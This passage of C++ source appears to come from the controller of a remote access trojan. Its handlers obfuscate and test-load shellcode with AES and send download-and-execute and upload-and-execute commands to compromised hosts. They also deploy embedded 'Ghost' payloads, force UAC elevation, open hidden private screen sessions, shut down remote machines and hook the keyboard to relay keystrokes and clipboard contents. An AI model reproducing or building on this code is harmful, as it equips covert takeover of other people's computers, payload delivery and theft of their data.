    shellcode_process(&obfs);
}

void CMy2015RemoteDlg::OnShellcodeAesCArray()
{
    ObfsAes obfs;
    shellcode_process(&obfs);
}


void CMy2015RemoteDlg::OnToolGenShellcodeBin()
{
    ObfsBase obfs(false);
    shellcode_process(&obfs, false, ".bin");
}

void CMy2015RemoteDlg::OnObfsShellcodeBin()
{
    Obfs obfs(false);
    shellcode_process(&obfs, false,  ".bin");
}


void CMy2015RemoteDlg::OnShellcodeLoadTest()
{
    if (MessageBoxL(CString(_TR("是否测试 ")) + (sizeof(void*) == 8 ? _TR("64位") : _TR("32位")) +
                            _TR(" Shellcode 二进制文件? 请选择受信任的 bin 文件。") + "\r\n" + _TR("测试未知来源的 Shellcode 可能导致程序崩溃，甚至存在 CC 风险。"),
                            "提示", MB_ICONQUESTION | MB_YESNO) == IDYES) {
        ObfsBase obfs;
        shellcode_process(&obfs, true);
    }
}


void CMy2015RemoteDlg::OnShellcodeObfsLoadTest()
{
    if (MessageBoxL(CString(_TR("是否测试 ")) + (sizeof(void*) == 8 ? _TR("64位") : _TR("32位")) +
                            _TR(" Shellcode 二进制文件? 请选择受信任的 bin 文件。") + "\r\n" + _TR("测试未知来源的 Shellcode 可能导致程序崩溃，甚至存在 CC 风险。"),
                            "提示", MB_ICONQUESTION | MB_YESNO) == IDYES) {
        Obfs obfs;
        shellcode_process(&obfs, true);
    }
}


void CMy2015RemoteDlg::OnShellcodeAesBin()
{
    ObfsAes obfs(false);
    shellcode_process(&obfs, false, ".bin");
}


void CMy2015RemoteDlg::OnShellcodeTestAesBin()
{
    if (MessageBoxL(CString(_TR("是否测试 ")) + (sizeof(void*) == 8 ? _TR("64位") : _TR("32位")) +
                            _TR(" Shellcode 二进制文件? 请选择受信任的 bin 文件。") + "\r\n" + _TR("测试未知来源的 Shellcode 可能导致程序崩溃，甚至存在 CC 风险。"),
                            "提示", MB_ICONQUESTION | MB_YESNO) == IDYES) {
        ObfsAes obfs;
        shellcode_process(&obfs, true);
    }
}

void CMy2015RemoteDlg::OnOnlineAssignTo()
{
    CInputDialog dlg(this);
    dlg.Init(_TR("转移主机(到期自动复原)"), _TR("输入<IP:PORT>地址:"));
    dlg.SetHistoryKey("ShareAddress");
    dlg.Init2(_TR("天数(支持浮点数):"), "30");
    if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty() || atof(dlg.m_sSecondInput.GetString())<=0)
        return;
    if (dlg.m_str.GetLength() >= 250) {
        MessageBoxL("字符串长度超出[0, 250]范围限制!", "提示", MB_ICONINFORMATION);
        return;
    }
    if (dlg.m_sSecondInput.GetLength() >= 6) {
        MessageBoxL("超出使用时间可输入的字符数限制!", "提示", MB_ICONINFORMATION);
        return;
    }
    CharMsg* buf1 = new CharMsg(dlg.m_str.GetLength() + 1);
    CharMsg* buf2 = new CharMsg(dlg.m_sSecondInput.GetLength() + 1);
    memcpy(buf1->data, dlg.m_str, dlg.m_str.GetLength());
    memcpy(buf2->data, dlg.m_sSecondInput, dlg.m_sSecondInput.GetLength());
    buf1->data[dlg.m_str.GetLength()] = 0;
    buf2->data[dlg.m_sSecondInput.GetLength()] = 0;
    PostMessageA(WM_ASSIGN_CLIENT, (WPARAM)buf1, (LPARAM)buf2);
}

LRESULT CMy2015RemoteDlg::assignFunction(WPARAM wParam, LPARAM lParam, BOOL all)
{
    CharMsg* buf1 = (CharMsg*)wParam, *buf2 = (CharMsg*)lParam;
    int len1 = strlen(buf1->data), len2 = strlen(buf2->data);
    BYTE bToken[_MAX_PATH] = { COMMAND_ASSIGN_MASTER };
    // 目标主机类型
    bToken[1] = SHARE_TYPE_YAMA_FOREVER;
    memcpy(bToken + 2, buf1->data, len1);
    bToken[2 + len1] = ':';
    memcpy(bToken + 2 + len1 + 1, buf2->data, len2);
    all ? SendAllCommand(bToken, sizeof(bToken)) : SendSelectedCommand(bToken, sizeof(bToken));
    if(buf1->needFree) delete buf1;
    if(buf2->needFree) delete buf2;
    return S_OK;
}

LRESULT CMy2015RemoteDlg::AssignClient(WPARAM wParam, LPARAM lParam)
{
    return assignFunction(wParam, lParam, FALSE);
}

LRESULT CMy2015RemoteDlg::AssignAllClient(WPARAM wParam, LPARAM lParam)
{
    return assignFunction(wParam, lParam, TRUE);
}

void CMy2015RemoteDlg::OnNMCustomdrawMessage(NMHDR* pNMHDR, LRESULT* pResult)
{
    LPNMLVCUSTOMDRAW pLVCD = reinterpret_cast<LPNMLVCUSTOMDRAW>(pNMHDR);
    *pResult = 0;

    switch (pLVCD->nmcd.dwDrawStage) {
    case CDDS_PREPAINT:
        *pResult = CDRF_NOTIFYITEMDRAW;
        return;

    case CDDS_ITEMPREPAINT: {
        int nRow = static_cast<int>(pLVCD->nmcd.dwItemSpec);
        int nLastRow = m_CList_Message.GetItemCount() - 1;
        if (nRow == nLastRow && nLastRow >= 0) {
            pLVCD->clrText = RGB(255, 0, 0);
        }
    }
    }
}

void CMy2015RemoteDlg::OnRClickMessage(NMHDR* pNMHDR, LRESULT* pResult)
{
    *pResult = 0;

    CMenu menu;
    menu.CreatePopupMenu();
    menu.AppendMenu(MF_STRING, ID_MSGLOG_DELETE, _TR("删除选中"));
    menu.AppendMenu(MF_STRING, ID_MSGLOG_CLEAR, _TR("清空日志"));

    // 没有选中项时禁用"删除选中"
    if (m_CList_Message.GetSelectedCount() == 0) {
        menu.EnableMenuItem(ID_MSGLOG_DELETE, MF_GRAYED);
    }
    // 列表为空时禁用"清空日志"
    if (m_CList_Message.GetItemCount() == 0) {
        menu.EnableMenuItem(ID_MSGLOG_CLEAR, MF_GRAYED);
    }

    CPoint pt;
    GetCursorPos(&pt);
    menu.TrackPopupMenu(TPM_LEFTALIGN | TPM_RIGHTBUTTON, pt.x, pt.y, this);
}

void CMy2015RemoteDlg::OnMsglogDelete()
{
    // 从后往前删除，避免索引变化
    POSITION pos = m_CList_Message.GetFirstSelectedItemPosition();
    std::vector<int> selected;
    while (pos) {
        selected.push_back(m_CList_Message.GetNextSelectedItem(pos));
    }
    // 倒序删除
    for (auto it = selected.rbegin(); it != selected.rend(); ++it) {
        m_CList_Message.DeleteItem(*it);
    }
}

void CMy2015RemoteDlg::OnMsglogClear()
{
    m_CList_Message.DeleteAllItems();
}


void CMy2015RemoteDlg::OnOnlineAddWatch()
{
    EnterCriticalSection(&m_cs);
    POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
    while (Pos) {
        int	iItem = m_CList_Online.GetNextSelectedItem(Pos);
        context* ctx = GetContextByListIndex(iItem);
        if (!ctx) continue;
        int r = m_ClientMap->GetClientMapInteger(ctx->GetClientID(), MAP_LEVEL);
        m_ClientMap->SetClientMapInteger(ctx->GetClientID(), MAP_LEVEL, ++r >= 4 ? 0 : r);
    }
    m_ClientMap->SaveToFile(GetDbPath());
    LeaveCriticalSection(&m_cs);
}


void CMy2015RemoteDlg::OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult)
{
    LPNMLVCUSTOMDRAW pLVCD = reinterpret_cast<LPNMLVCUSTOMDRAW>(pNMHDR);
    *pResult = 0;

    switch (pLVCD->nmcd.dwDrawStage) {
    case CDDS_PREPAINT:
        *pResult = CDRF_NOTIFYITEMDRAW;
        return;

    case CDDS_ITEMPREPAINT: {
        int nRow = static_cast<int>(pLVCD->nmcd.dwItemSpec);
        EnterCriticalSection(&m_cs);
        context* ctx = nullptr;
        if (nRow >= 0 && nRow < (int)m_FilteredIndices.size()) {
            size_t realIdx = m_FilteredIndices[nRow];
            if (realIdx < m_HostList.size()) {
                ctx = m_HostList[realIdx];
            }
        }
        LeaveCriticalSection(&m_cs);
        if (!ctx) return;
        int r = m_ClientMap->GetClientMapInteger(ctx->GetClientID(), MAP_LEVEL);
        if (r >= 1) pLVCD->clrText = RGB(0, 0, 255); // 字体蓝
        if (r >= 2) pLVCD->clrText = RGB(255, 0, 0); // 字体红
        if (r >= 3) pLVCD->clrTextBk = RGB(255, 160, 160); // 背景红
    }
    }
}


void CMy2015RemoteDlg::OnOnlineRunAsAdmin()
{
    if (MessageBoxL("确定要以管理员权限重新启动目标应用程序吗?\n此操作可能触发 UAC 账户控制。",
                    "提示", MB_ICONQUESTION | MB_YESNO) == IDYES) {
        EnterCriticalSection(&m_cs);
        POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
        while (Pos) {
            int	iItem = m_CList_Online.GetNextSelectedItem(Pos);
            context* ContextObject = GetContextByListIndex(iItem);
            if (!ContextObject) continue;
            BYTE token = CMD_RUNASADMIN;
            ContextObject->Send2Client(&token, sizeof(token));
        }
        LeaveCriticalSection(&m_cs);
    }
}


void CMy2015RemoteDlg::OnMainWallet()
{
    CWalletDlg dlg(this);
    dlg.m_str = CString(m_settings.WalletAddress);
    if (dlg.DoModal() != IDOK || CString(m_settings.WalletAddress) == dlg.m_str)
        return;
    if (dlg.m_str.GetLength() > 470) {
        MessageBoxL("超出钱包地址可输入的字符数限制!", "提示", MB_ICONINFORMATION);
        return;
    }
    strcpy(m_settings.WalletAddress, dlg.m_str);
    THIS_CFG.SetStr("settings", "wallet", m_settings.WalletAddress);
    SendMasterSettings(nullptr, m_settings);
}


void CMy2015RemoteDlg::OnMainNetwork()
{
    CNetworkDlg dlg(this);
    dlg.DoModal();
}


void CMy2015RemoteDlg::OnToolRcedit()
{
    CRcEditDlg dlg;
    dlg.DoModal();
}


void CMy2015RemoteDlg::OnOnlineUninstall()
{
    if (IDYES != MessageBoxL(_T("确定卸载选定的被控程序吗?"), _T("提示"), MB_ICONQUESTION | MB_YESNO))
        return;

    BYTE bToken = TOKEN_UNINSTALL;
    SendSelectedCommand(&bToken, sizeof(BYTE));

    EnterCriticalSection(&m_cs);
    // 收集选中的索引（从大到小排序，避免删除时索引变化问题）
    std::vector<int> selectedItems;
    POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
    while (Pos) {
        selectedItems.push_back(m_CList_Online.GetNextSelectedItem(Pos));
    }
    std::sort(selectedItems.rbegin(), selectedItems.rend());

    for (int iItem : selectedItems) {
        context* ctx = GetContextByListIndex(iItem);
        if (!ctx) continue;

        CString strIP = ctx->GetClientData(ONLINELIST_IP);
        auto tm = ctx->GetAliveTime();
        std::string aliveInfo = tm >= 86400 ? floatToString(tm / 86400.f) + " d" :
                                tm >= 3600 ? floatToString(tm / 3600.f) + " h" :
                                tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s";
        RemoveFromHostList(ctx);
        ctx->Destroy();
        strIP += _TR("断开连接");
        ShowMessage(_TR("操作成功"), strIP + "[" + aliveInfo.c_str() + "]");
    }

    // 虚拟列表：重建过滤索引并更新项目计数
    RebuildFilteredIndices();
    m_CList_Online.SetItemCountExV((int)m_FilteredIndices.size(), LVSICF_NOINVALIDATEALL | LVSICF_NOSCROLL);
    {
        CListCtrlEx::ScopedEraseBkgnd scope(m_CList_Online);
        m_CList_Online.RedrawWindow(NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_UPDATENOW);
    }
    LeaveCriticalSection(&m_cs);
}


void CMy2015RemoteDlg::OnOnlinePrivateScreen()
{
    if (!ShouldRemoteControl())
        return;

    std::string masterId = GetPwdHash(), hmac = GetHMAC();

    // 读取壁纸文件（如果有）
    std::vector<BYTE> bmpData;
    if (!m_PrivateScreenWallpaper.IsEmpty()) {
        CFile file;
        if (file.Open(m_PrivateScreenWallpaper, CFile::modeRead | CFile::typeBinary)) {
            ULONGLONG fileSize = file.GetLength();
            if (fileSize > 0 && fileSize < 10 * 1024 * 1024) {  // 限制10MB
                bmpData.resize((size_t)fileSize);
                file.Read(bmpData.data(), (UINT)fileSize);
            }
            file.Close();
        }
    }

    // 构建命令: TOKEN(1) + masterId(64) + hmac(16) + [bmpSize(4) + bmpData(N)]
    size_t totalSize = 1 + 64 + 16;
    if (!bmpData.empty()) {
        totalSize += 4 + bmpData.size();
    }

    std::vector<BYTE> buffer(totalSize);
    buffer[0] = TOKEN_PRIVATESCREEN;
    memcpy(buffer.data() + 1, masterId.c_str(), masterId.length());
    memcpy(buffer.data() + 1 + masterId.length(), hmac.c_str(), hmac.length());

    if (!bmpData.empty()) {
        DWORD bmpSize = (DWORD)bmpData.size();
        memcpy(buffer.data() + 81, &bmpSize, 4);
        memcpy(buffer.data() + 85, bmpData.data(), bmpData.size());
    }

    SendSelectedCommand(buffer.data(), (ULONG)buffer.size());
}

void CMy2015RemoteDlg::RebuildFilteredIndices()
{
    m_FilteredIndices.clear();
    for (size_t i = 0; i < m_HostList.size(); ++i) {
        context* ctx = m_HostList[i];
        if (!ctx) continue;
        std::string groupName = ctx->GetGroupName();
        // 匹配当前分组：空分组视为 "default"
        if (groupName == m_selectedGroup ||
            (groupName.empty() && m_selectedGroup == "default")) {
            m_FilteredIndices.push_back(i);
        }
    }
}

void CMy2015RemoteDlg::LoadListData(const std::string& group)
{
    m_CList_Online.SetRedraw(FALSE);

    // 重建过滤索引
    RebuildFilteredIndices();

    // 虚拟列表：设置过滤后的项目计数
    m_CList_Online.SetItemCountExV((int)m_FilteredIndices.size(), LVSICF_NOINVALIDATEALL | LVSICF_NOSCROLL);

    m_CList_Online.SetRedraw(TRUE);
    // 临时允许背景擦除，解决残留问题
    {
        CListCtrlEx::ScopedEraseBkgnd scope(m_CList_Online);
        m_CList_Online.RedrawWindow(NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_UPDATENOW);
    }
    CString strStatusMsg;
    strStatusMsg.FormatL("有%d个主机在线", (int)m_FilteredIndices.size());
    strStatusMsg += CString("[Total: ") + std::to_string(m_HostList.size()).c_str() + "]";
    m_StatusBar.SetPaneText(0, strStatusMsg);
}

void CMy2015RemoteDlg::OnSelchangeGroupTab(NMHDR* pNMHDR, LRESULT* pResult)
{
    int nSel = m_GroupTab.GetCurSel();
    TCHAR szText[256] = {};
    TCITEM item = {0};
    item.mask = TCIF_TEXT;
    item.pszText = szText;
    item.cchTextMax = sizeof(szText) / sizeof(TCHAR);

    if (!m_GroupTab.GetItem(nSel, &item)) {
        return;
    }

    EnterCriticalSection(&m_cs);
    m_selectedGroup = szText;
    LoadListData(szText);
    LeaveCriticalSection(&m_cs);

    // 清空搜索缓存，避免切换 Tab 后搜索结果错乱
    if (m_pSearchBar) {
        m_pSearchBar->InvalidateCache();
    }

    *pResult = 0;
}

void RefreshGroupList(context* ctx, void* user)
{
    CString* groupName = (CString*)user;
    ctx->SetGroupName(groupName->GetString());
}

void CMy2015RemoteDlg::OnOnlineRegroup()
{
    CInputDialog dlg(this);
    dlg.Init(_TR("修改分组"), _TR("请输入分组名称:"));
    dlg.SetHistoryKey("GroupName");
    if (IDOK != dlg.DoModal()||dlg.m_str.IsEmpty()) {
        return;
    }
    if (dlg.m_str.GetLength() >= 24) {
        MessageBoxL("分组名称长度不得超过24个字符!", "提示", MB_ICONINFORMATION);
        return;
    }
    BYTE cmd[50] = { CMD_SET_GROUP };
    memcpy(cmd + 1, dlg.m_str, dlg.m_str.GetLength());
    SendSelectedCommand(cmd, sizeof(cmd), RefreshGroupList, &(dlg.m_str));
    CAutoLock lock(m_cs);
    m_selectedGroup = dlg.m_str;
    if (m_GroupList.end() == m_GroupList.find(m_selectedGroup)) {
        m_GroupTab.InsertItem(m_GroupTab.GetItemCount(), m_selectedGroup.c_str());
        m_GroupList.insert(m_selectedGroup);
    }
    // 在 Tab 中直接搜索分组名（Tab 顺序和 set 顺序不一致）
    int tabCount = m_GroupTab.GetItemCount();
    for (int idx = 0; idx < tabCount; ++idx) {
        TCITEM item = {0};
        char szText[256] = {0};
        item.mask = TCIF_TEXT;
        item.pszText = szText;
        item.cchTextMax = sizeof(szText);
        if (!m_GroupTab.GetItem(idx, &item)) continue;
        if (m_selectedGroup == szText) {
            m_GroupTab.SetCurSel(idx);
            NMHDR nmhdr;
            nmhdr.hwndFrom = m_GroupTab.GetSafeHwnd();
            nmhdr.idFrom = m_GroupTab.GetDlgCtrlID();
            nmhdr.code = TCN_SELCHANGE;
            SendMessage(WM_NOTIFY, nmhdr.idFrom, (LPARAM)&nmhdr);
            // SendMessage 会触发 OnSelchangeGroupTab，其中已调用 LoadListData
            return;
        }
    }
    // 未找到匹配的 Tab（不应发生），直接加载数据
    LoadListData(m_selectedGroup);
}


void CMy2015RemoteDlg::MachineManage(MachineCommand type)
{
    if (MessageBoxL("此操作需客户端具有管理员权限，确定继续吗? ", "提示", MB_ICONQUESTION | MB_YESNO) == IDYES) {
        EnterCriticalSection(&m_cs);
        POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
        while (Pos) {
            int	iItem = m_CList_Online.GetNextSelectedItem(Pos);
            context* ContextObject = GetContextByListIndex(iItem);
            if (!ContextObject) continue;
            BYTE token[32] = { TOKEN_MACHINE_MANAGE, type };
            ContextObject->Send2Client(token, sizeof(token));
        }
        LeaveCriticalSection(&m_cs);
    }
}

void CMy2015RemoteDlg::OnMachineLogout()
{
    MachineManage(MACHINE_LOGOUT);
}


void CMy2015RemoteDlg::OnMachineShutdown()
{
    MachineManage(MACHINE_SHUTDOWN);
}


void CMy2015RemoteDlg::OnMachineReboot()
{
    MachineManage(MACHINE_REBOOT);
}


void CMy2015RemoteDlg::OnExecuteDownload()
{
    CInputDialog dlg(this);
    dlg.Init(_TR("下载执行"), _TR("远程下载地址:"));
    auto ip = GetFirstMasterIP(THIS_CFG.GetStr("settings", "master", "127.0.0.1"));
    dlg.m_str = BuildPayloadUrl(ip.c_str(), "example.exe");
    dlg.m_sTipInfo = _TR("请将EXE放在\"Payloads\"目录或输入下载地址。");

    if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty())
        return;

    CString strUrl = dlg.m_str;
    int nUrlLen = strUrl.GetLength();

    int nPacketSize = 1 + nUrlLen + 1;
    BYTE* pPacket = new BYTE[nPacketSize];

    pPacket[0] = COMMAND_DOWN_EXEC;
    memcpy(pPacket + 1, strUrl.GetBuffer(), nUrlLen);
    pPacket[1 + nUrlLen] = '\0';

    SendSelectedCommand(pPacket, nPacketSize);

    delete[] pPacket;
}

void CMy2015RemoteDlg::OnExecuteUpload()
{
    CFileDialog dlg(TRUE, NULL, NULL, OFN_HIDEREADONLY | OFN_FILEMUSTEXIST,
                    _T("EXE Files (*.exe)|*.exe||"), this);

    if (dlg.DoModal() != IDOK)
        return;

    CString strFilePath = dlg.GetPathName();
    CFile file;

    if (!file.Open(strFilePath, CFile::modeRead | CFile::typeBinary)) {
        MessageBoxL(_TR("无法读取文件!") + "\r\n" + strFilePath, "错误", MB_ICONERROR);
        return;
    }

    DWORD dwFileSize = (DWORD)file.GetLength();
    if (dwFileSize == 0 || dwFileSize > 12 * 1024 * 1024) {
        MessageBoxL("文件为空或超过12MB，无法使用此功能!", "提示", MB_ICONWARNING);
        file.Close();
        return;
    }

    BYTE* pFileData = new BYTE[dwFileSize];
    file.Read(pFileData, dwFileSize);
    file.Close();

    // 命令+大小+内容
    int nPacketSize = 1 + 4 + dwFileSize;
    BYTE* pPacket = new BYTE[nPacketSize];

    pPacket[0] = COMMAND_UPLOAD_EXEC;
    memcpy(pPacket + 1, &dwFileSize, 4);
    memcpy(pPacket + 1 + 4, pFileData, dwFileSize);

    SendSelectedCommand(pPacket, nPacketSize);

    delete[] pFileData;
    delete[] pPacket;
}


void CMy2015RemoteDlg::OnExecuteTestrun()
{
	DWORD dwSize = 0;
    BYTE* buffer = ReadExeFromResource(dwSize, IDR_TESTRUN_X64, CLIENT_TYPE_ONE, Startup_TestRunMsc,
        "YAMA", "ServerD11", COMMAND_UPLOAD_EXEC, 4);
    if (buffer && dwSize > 0) {
        SendSelectedCommand(buffer, 5 + dwSize);
        delete[] buffer;
    } else {
        MessageBoxL("资源文件读取失败!", "错误", MB_ICONERROR);
	}
}

void CMy2015RemoteDlg::OnExecuteGhost()
{
	DWORD dwSize = 0;
    BYTE *buffer = ReadExeFromResource(dwSize, IDR_GHOST_X64, CLIENT_TYPE_ONE, Startup_GhostMsc,
		"YAMA", "ServerDll", COMMAND_UPLOAD_EXEC, 4);
    if (buffer && dwSize > 0) {
        SendSelectedCommand(buffer, 5 + dwSize);
        delete[] buffer;
    } else {
        MessageBoxL("资源文件读取失败!", "错误", MB_ICONERROR);
	}
}

void CMy2015RemoteDlg::OnDestroy()
{
    if (g_hKeyboardHook) {
        UnhookWindowsHookEx(g_hKeyboardHook);
        g_hKeyboardHook = NULL;
    }
    __super::OnDestroy();
}

CString GetClipboardText()
{
    if (!OpenClipboard(nullptr)) return _T("");

    CString strText;

    // 优先获取 Unicode 格式
    HANDLE hData = GetClipboardData(CF_UNICODETEXT);
    if (hData) {
        wchar_t* pszText = static_cast<wchar_t*>(GlobalLock(hData));
        if (pszText) {
#ifdef UNICODE
            strText = pszText;
#else
            // 将 Unicode 转换为多字节（使用系统默认代码页）
            int len = WideCharToMultiByte(CP_ACP, 0, pszText, -1, nullptr, 0, nullptr, nullptr);
            if (len > 0) {
                char* pBuf = strText.GetBuffer(len);
                WideCharToMultiByte(CP_ACP, 0, pszText, -1, pBuf, len, nullptr, nullptr);
                strText.ReleaseBuffer();
            }
#endif
        }
        GlobalUnlock(hData);
    }

    CloseClipboard();
    return strText;
}

void SetClipboardText(const char* utf8Text)
{
    if (!OpenClipboard(nullptr)) return;
    EmptyClipboard();

    // UTF-8 转 Unicode
    int wlen = MultiByteToWideChar(CP_UTF8, 0, utf8Text, -1, nullptr, 0);
    if (wlen > 0) {
        HGLOBAL hGlob = GlobalAlloc(GMEM_MOVEABLE, wlen * sizeof(wchar_t));
        if (hGlob) {
            wchar_t* p = static_cast<wchar_t*>(GlobalLock(hGlob));
            if (p) {
                MultiByteToWideChar(CP_UTF8, 0, utf8Text, -1, p, wlen);
                GlobalUnlock(hGlob);
                SetClipboardData(CF_UNICODETEXT, hGlob);
            } else {
                GlobalFree(hGlob);
            }
        }
    }
    CloseClipboard();
}

CDialogBase* CMy2015RemoteDlg::GetRemoteWindow(HWND hWnd)
{
    if (!::IsWindow(hWnd)) return NULL;
    EnterCriticalSection(&m_cs);
    auto find = m_RemoteWnds.find(hWnd);
    auto ret = find == m_RemoteWnds.end() ? NULL : find->second;
    LeaveCriticalSection(&m_cs);
    return ret;
}

CDialogBase* CMy2015RemoteDlg::GetRemoteWindow(CDialogBase *dlg)
{
    EnterCriticalSection(&m_cs);
    for (auto& pair : m_RemoteWnds) {
        if (pair.second == dlg) {
            LeaveCriticalSection(&m_cs);
            return pair.second;
        }
    }
    LeaveCriticalSection(&m_cs);
    return NULL;
}

void CMy2015RemoteDlg::RemoveRemoteWindow(HWND wnd)
{
    EnterCriticalSection(&m_cs);
    m_RemoteWnds.erase(wnd);
    LeaveCriticalSection(&m_cs);
}

void CMy2015RemoteDlg::CloseRemoteDesktopByClientID(uint64_t clientID)
{
    CScreenSpyDlg* targetDlg = nullptr;
    HWND hWnd = NULL;

    EnterCriticalSection(&m_cs);
    for (auto& pair : m_RemoteWnds) {
        CScreenSpyDlg* dlg = dynamic_cast<CScreenSpyDlg*>(pair.second);
        if (dlg && dlg->GetClientID() == clientID) {
            targetDlg = dlg;
            hWnd = dlg->GetSafeHwnd();
            break;
        }
    }
    LeaveCriticalSection(&m_cs);

    if (targetDlg && hWnd && ::IsWindow(hWnd)) {
        // Use SendMessage for synchronous close to prevent race condition
        // when user reconnects quickly after disconnect
        ::SendMessage(hWnd, WM_CLOSE, 0, 0);
    }
}

void CMy2015RemoteDlg::UpdateActiveRemoteSession(CDialogBase *sess)
{
    EnterCriticalSection(&m_cs);
    m_pActiveSession = sess;
    LeaveCriticalSection(&m_cs);
}

CDialogBase* CMy2015RemoteDlg::GetActiveRemoteSession()
{
    EnterCriticalSection(&m_cs);
    auto sess = m_pActiveSession;
    LeaveCriticalSection(&m_cs);
    return sess;
}

LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (g_2015RemoteDlg == NULL)
        return S_OK;

    if (nCode == HC_ACTION) {
        do {
            static CDialogBase* operateWnd = nullptr;
            static time_t localCtrlCTime = 0;  // 本地 Ctrl+C 时间，用于区分本地/远程复制
			static std::vector<std::string> fileList;
            KBDLLHOOKSTRUCT* pKey = (KBDLLHOOKSTRUCT*)lParam;

            // 系统热键转发：只在远程桌面窗口处于控制模式时才处理
            if (g_2015RemoteDlg->m_bHookWIN) {
                HWND hFore = ::GetForegroundWindow();
                auto screen = (CScreenSpyDlg*)g_2015RemoteDlg->GetRemoteWindow(hFore);
                if (screen && screen->m_bIsCtrl) {
                    // 判断是否是需要转发的系统热键
                    bool bNeedForward = false;
                    if (wParam == WM_SYSKEYDOWN || wParam == WM_SYSKEYUP) {
                        bNeedForward = true;
                    }
                    else if (pKey->vkCode == VK_LWIN || pKey->vkCode == VK_RWIN) {
                        bNeedForward = true;
                    }
                    else if (pKey->vkCode == VK_TAB && (pKey->flags & LLKHF_ALTDOWN)) {
                        bNeedForward = true;
                    }
                    else if (pKey->vkCode == VK_ESCAPE && (pKey->flags & LLKHF_ALTDOWN)) {
                        bNeedForward = true;
                    }
                    else if (pKey->vkCode == VK_ESCAPE &&
                             (GetAsyncKeyState(VK_CONTROL) & 0x8000) &&
                             (GetAsyncKeyState(VK_SHIFT) & 0x8000)) {
                        bNeedForward = true;
                    }
                    else if (pKey->vkCode == VK_ESCAPE && (GetAsyncKeyState(VK_CONTROL) & 0x8000)) {
                        bNeedForward = true;
                    }
                    else if (pKey->vkCode == VK_F12 || pKey->vkCode == VK_F10) {
                        bNeedForward = true;
                    }
                    else if (pKey->vkCode == VK_SNAPSHOT) {
                        bNeedForward = true;
                    }
                    else if (pKey->vkCode == VK_TAB &&
                             (GetAsyncKeyState(VK_LWIN) & 0x8000 || GetAsyncKeyState(VK_RWIN) & 0x8000)) {
                        bNeedForward = true;
                    }
                    if (bNeedForward) {
                        MSG msg = { 0 };
                        msg.hwnd = hFore;
                        msg.message = (UINT)wParam;
                        msg.wParam = pKey->vkCode;
                        msg.lParam = (pKey->scanCode << 16) | 1;

                        if (wParam == WM_KEYUP || wParam == WM_SYSKEYUP) {
                            msg.lParam |= (1 << 31) | (1 << 30);
                        }

                        // 扩展键标志 (bit 24)
                        if (pKey->flags & LLKHF_EXTENDED) {
                            msg.lParam |= (1 << 24);
                        }

                        msg.time = pKey->time;
                        msg.pt.x = 0;
                        msg.pt.y = 0;
                        screen->SendScaledMouseMessage(&msg, false);
                        // 返回 1 阻止本地系统处理
                        return 1;
                    }
                }
            }
            // 只在按下时处理
            if (wParam == WM_KEYDOWN) {
                // 检测 Ctrl+C / Ctrl+X
                static time_t remoteCtrlCTime = 0;  // C2C: 远程 Ctrl+C 时间
                if ((GetAsyncKeyState(VK_CONTROL) & 0x8000) && (pKey->vkCode == 'C' || pKey->vkCode == 'X')) {
                    HWND hFore = ::GetForegroundWindow();
                    operateWnd = g_2015RemoteDlg->GetRemoteWindow(hFore);
                    if (!operateWnd) {
                        localCtrlCTime = time(nullptr);
                        remoteCtrlCTime = 0;  // 清除远程 Ctrl+C 时间
                        int r=0;
						fileList = GetForegroundSelectedFiles(r);
                        // 不再清除活动会话，用 localCtrlCTime 判断即可
                    } else {
                        remoteCtrlCTime = time(nullptr);  // 记录远程 Ctrl+C 时间
                        localCtrlCTime = 0;  // 清除本地 Ctrl+C 时间
                    }
                }
                // 检测 Ctrl+V
                else if ((GetAsyncKeyState(VK_CONTROL) & 0x8000) && pKey->vkCode == 'V') {
                    HWND hFore = ::GetForegroundWindow();
                    CDialogBase* dlg = g_2015RemoteDlg->GetRemoteWindow(hFore);
                    if (dlg && (time(nullptr) - localCtrlCTime < 60)) {
                        if (dlg == operateWnd)break;
                        auto screen = (CScreenSpyDlg*)dlg;
                        if (!screen->m_bIsCtrl) {
                            Mprintf("【Ctrl+V】 [本地 -> 远程] 窗口不是控制状态: %s\n", screen->m_IPAddress);
                            break;
                        }
                        // [1] 本地 -> 远程
                        int result;
                        auto files = GetClipboardFiles(result);
                        if (files.empty()) files = fileList;
                        if (!files.empty()) {
                            // 检查客户端是否支持 V2
                            uint64_t clientID = screen->GetClientID();
                            context* mainCtx = g_2015RemoteDlg->FindHost(clientID);

                            if (mainCtx && SupportsFileTransferV2(mainCtx)) {
                                // V2 传输
                                g_2015RemoteDlg->SendFilesToClientV2(mainCtx, files);
                                Mprintf("【Ctrl+V】 [本地 -> 远程] V2 传输: %zu 个文件\n", files.size());
                            } else {
                                // V1 传输（兼容旧客户端）
                                auto str = BuildMultiStringPath(files);
                                BYTE* szBuffer = new BYTE[81 + str.size()];
                                szBuffer[0] = { COMMAND_GET_FOLDER };
                                std::string masterId = GetPwdHash(), hmac = GetHMAC(100);
                                memcpy((char*)szBuffer + 1, masterId.c_str(), masterId.length());
                                memcpy((char*)szBuffer + 1 + masterId.length(), hmac.c_str(), hmac.length());
                                memcpy(szBuffer + 1 + 80, str.data(), str.size());
                                auto md5 = CalcMD5FromBytes((BYTE*)str.data(), str.size());
                                g_2015RemoteDlg->m_CmdList.PutCmd(md5);
                                dlg->m_ContextObject->Send2Client(szBuffer, 81 + str.size());
                                SAFE_DELETE_ARRAY(szBuffer);
                                Mprintf("【Ctrl+V】 [本地 -> 远程] V1 传输: %s\n", md5.c_str());
                            }
                        } else {
                            CString strText = GetClipboardText();
                            if (!strText.IsEmpty()) {
                                if (strText.GetLength() > 200*1024) {
                                    Mprintf("【Ctrl+V】 从本地拷贝文本到远程失败, 文本太长: %d \n", strText.GetLength());
                                    break;
                                }
                                BYTE* szBuffer = new BYTE[strText.GetLength() + 1];
                                szBuffer[0] = COMMAND_SCREEN_SET_CLIPBOARD;
                                memcpy(szBuffer + 1, strText.GetString(), strText.GetLength());
